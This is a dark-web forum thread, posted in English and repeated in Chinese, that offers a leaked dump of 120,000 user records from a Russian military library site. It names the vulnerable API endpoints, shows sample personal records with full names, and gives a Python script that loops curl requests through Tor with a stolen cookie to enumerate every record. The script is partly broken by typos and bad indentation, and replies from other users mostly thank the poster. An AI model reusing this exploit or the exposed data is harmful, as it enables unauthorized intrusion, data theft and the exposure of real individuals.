[mrmig]

does the link still work?

[hunter_biden]

thank you

[zdqdqdqdz]

Hello DarkForums Community,
Today I have uploaded the 120,000 Russian military .mil.ru for you to download, thanks for reading and enjoy!

 

 

 

Author: pocexploiter
Notified: for this an access is required which later a pentesting could be done.

{"mid":35457,"lastname":"Грабовенко","firstname":"Илья","patronymic":"Анатольевич","displayname":"Грабовенко Илья Анатольевич","cathedra":null,"faculty":null,"groupname":null,"militaryrank":null,"specialisation":null,"position":null,"rfid":"","photosize":0}

 


Download Records:





Vulnerabilities:


 - Bypass File Upload Format– Disclosure Personal Information– User activity monitoring
Tutorial Explotation: Notified: for this an access is required which later a pentesting could be done.






  [b]Paramters[/b]: https://biblio2.mil.ru /api/reader/(ID) – Here we can see the records from 1 to 120,000. We try to send many requests with the help of burp suite, intruder option. 

{“mid”:7316,”lastname”:”Яцкевич”,”firstname”:”Илья”,”patronymic”:”Валерьевич”,”displayname”:”Яцкевич Илья Валерьевич”,”cathedra”:null,”faculty”:null,”groupname”:null,”militaryrank”:null,”specialisation”:null,”position”:null,”rfid”:””,”photosize”:0} {“mid”:7547,”lastname”:”Богданов”,”firstname”:”Сергей”,”patronymic”:”Владимирович”,”displayname”:”Богданов Сергей Владимирович”,”cathedra”:null,”faculty”:null,”groupname”:null,”militaryrank”:null,”specialisation”:null,”position”:null,”rfid”:””,”photosize”:0}

Now Exposed Admin:







https://biblio2.mil.ru /book_open_history/(ID) – It allows me to see the content that each of the users read
https://biblio2.mil.ru /formular_print/(ID) – Exposed PDF form information military



[b]CODE EXPLOIT:[/b]
  

PHP Code:

#!/usr/bin/python3
import os
import sys
import time
import requests
from fake_useragent import UserAgent
from stem import Signal
from stem.control import Controller
# Autor: SC0RP10N
proxies = {
    'http': 'socks5://127.0.0.1:9050',
    'https': 'socks5://127.0.0.1:9050'
}
if(len(sys.argrv) == 1):
    print("Missing cookie argument\n EXAMPLE: python3 Russia.py 'library.login= PRIVATE KEY!")
elif(len(sys.argv) == 2):
    for i in range(100642):
    headers = { 'User-Agent': UserAgent(browsers=['edge', 'firefox']).random }
    time.sleep(1)
    with Controller.from_port(port = 9051) as c:
        c.authenticate(# PLACE TOR AUTHENTICATION PASSWORD HERE AS A STRING)
        c.signal(Signal.NEWNYM)
        url = "'https://biblio2.mil.ru/api/reader/1" + str(i) + "'"
        comando = "curl --proxy socks5://127.0.0.1:9050 " + url + " --cokkie='" + sys.argv[1] + "'")
        print(comando)
        print("\nIndice: " + str(i) + "\n")
        os.system(comando) 


  

• The vulnerability allows viewing details of system users.
  
• Other identical vulnerabilities have been verified
  
• The User API Actions with administrator privileges were also identified.
  
•  
  

 
We have also been able to download documents: weapons design, operation of military equipment, military training, logistics, ballistic projects, etc.   

 

 

[aligel89]

great share, is it still here?

[capypwn2]

graicas bro

[rooterdam]

thanks

[flamedev7]

Thanks for sharing

---

Thanks for sharing

[hlsd123]

Thanks for sharing

[adaaaaa]

你好，DarkForums社区，
今天我上传了120,000 个俄罗斯军事 .mil.ru供您下载，感谢您的阅读并享受！

 

 

 

作者：pocexploiter
通知：为此需要访问权限，以便稍后进行渗透测试。

{“mid”：35457，“姓氏”：“Грабовенко”，“名字”：“Илья”，“父名”：“Анатольевич”，“显示名称”：“Грабовенко Илья” Анатольевич","cathedra":null,"faculty":null,"groupname":null,"militaryrank":null,"specialization":null,"position":null,"rfid":"","photosize":0}

 


下载记录：





漏洞：


 - 绕过文件上传格式 - 泄露个人信息 - 用户活动监控
教程利用： 已通知：此操作需要访问权限，以便稍后进行渗透测试。






  [b]参数[/b]：https://biblio2.mil.ru /api/reader/(ID) – 在这里我们可以看到从1到120,000条记录。我们尝试借助burp suite的入侵者选项发送多个请求。 现在暴露的管理员：https://biblio2.mil.ru /book_open_history/(ID) – 它允许我查看每个用户阅读的内容https://biblio2.mil.ru /formular_print/(ID) – 暴露PDF表单军事信息[b]代码利用：[/b]

{“mid”:7316,”lastname”:”Яцкевич”,”firstname”:”Илья”,”patronymic”:”Валерьевич”,”displayname”:”Яцкевич Илья Валерьевич”,”cathedra”:null,”faculty”:null,”groupname”:null,”militaryrank”:null,”specialisation”:null,”position”:null,”rfid”:””,”photosize”:0} {“mid”:7547,”lastname”:”Богданов”,”firstname”:”Сергей”,”patronymic”:”Владимирович”,”displayname”:”Богданов Сергей Владимирович”,”cathedra”:null,”faculty”:null,”groupname”:null,”militaryrank”:null,”specialisation”:null,”position”:null,”rfid”:””,”photosize”:0}

  

PHP Code:

#!/usr/bin/python3
import os
import sys
import time
import requests
from fake_useragent import UserAgent
from stem import Signal
from stem.control import Controller
# Autor: SC0RP10N
proxies = {
    'http': 'socks5://127.0.0.1:9050',
    'https': 'socks5://127.0.0.1:9050'
}
if(len(sys.argrv) == 1):
    print("Missing cookie argument\n EXAMPLE: python3 Russia.py 'library.login= PRIVATE KEY!")
elif(len(sys.argv) == 2):
    for i in range(100642):
    headers = { 'User-Agent': UserAgent(browsers=['edge', 'firefox']).random }
    time.sleep(1)
    with Controller.from_port(port = 9051) as c:
        c.authenticate(# PLACE TOR AUTHENTICATION PASSWORD HERE AS A STRING)
        c.signal(Signal.NEWNYM)
        url = "'https://biblio2.mil.ru/api/reader/1" + str(i) + "'"
        comando = "curl --proxy socks5://127.0.0.1:9050 " + url + " --cokkie='" + sys.argv[1] + "'")
        print(comando)
        print("\nIndice: " + str(i) + "\n")
        os.system(comando) 


  

• 该漏洞允许查看系统用户的详细信息。
  
• 其他相同漏洞已验证
  
• 还识别了具有管理员权限的用户 API 操作。
  
•  
  

 
我们还可以下载文件：武器设计、军事装备操作、军事训练、后勤、弹道项目等。   

 

 

dfdfdfdf

[eaeaea123]

try check bro